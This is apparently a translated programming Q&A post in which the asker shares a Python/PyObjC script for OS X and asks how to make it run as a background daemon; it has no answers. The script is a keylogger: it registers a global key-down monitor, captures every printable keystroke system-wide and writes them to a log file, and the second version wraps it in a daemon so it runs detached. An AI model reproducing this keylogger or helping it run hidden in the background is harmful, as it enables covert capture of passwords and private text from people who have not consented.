0

可能重复:
在 OS X 的后台运行 Python

我有一个不错的 python 脚本,可以在后台启动。我希望它可以在 OS X 上运行。我不知道该怎么做。我通过在终端中启动“python myscript.py &”找到了一种解决方案,但这并不是真正在后台运行。我听说过很多关于守护进程的事情,但我真的不知道如何在这个小脚本中实现它,而不调用非本地库。

这是脚本:

#!/usr/bin/python2.6

from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []

class AppDelegate(NSObject):
    def applicationDidFinishLaunching_(self, aNotification):
        NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

def handler(event):
    global TABLE
    if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
        key =  keycode.tostring(event.keyCode())
        TABLE.append(key)
        print "lol"
        print TABLE
        if len(TABLE) > 10:
            for letter in TABLE:
                log = open("Analyzed.txt", "a")
                log.write(letter)
                log.close()
            TABLE = []

def main():
    app = NSApplication.sharedApplication()
    delegate = AppDelegate.alloc().init()
    NSApp().setDelegate_(delegate)
    AppHelper.runEventLoop()

if __name__ == '__main__':
   main()

我试过了:

#!/usr/bin/env python

import sys, time
from daemon import Daemon
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []

class MyDaemon(Daemon):
        def run(self):

            class AppDelegate(NSObject):
                def applicationDidFinishLaunching_(self, aNotification):
                    NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

            def handler(event):
                global TABLE
                if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
                    key =  keycode.tostring(event.keyCode())
                    TABLE.append(key)
                    print "lol"
                    print TABLE
                    if len(TABLE) > 10:
                        for letter in TABLE:
                            log = open("LOG_KEY.txt", "a")
                            log.write(letter)
                            log.close()
                        TABLE = []

            app = NSApplication.sharedApplication()
            delegate = AppDelegate.alloc().init()
            NSApp().setDelegate_(delegate)
            AppHelper.runEventLoop()

if __name__ == "__main__":
        daemon = MyDaemon('/tmp/carto_daemon.pid')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        print "Unknown command"
                        sys.exit(2)
                sys.exit(0)
        else:
                print "usage: %s start|stop|restart" % sys.argv[0]
                sys.exit(2)

守护进程来自哪里http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/

但是python似乎崩溃了......

4

0 回答 0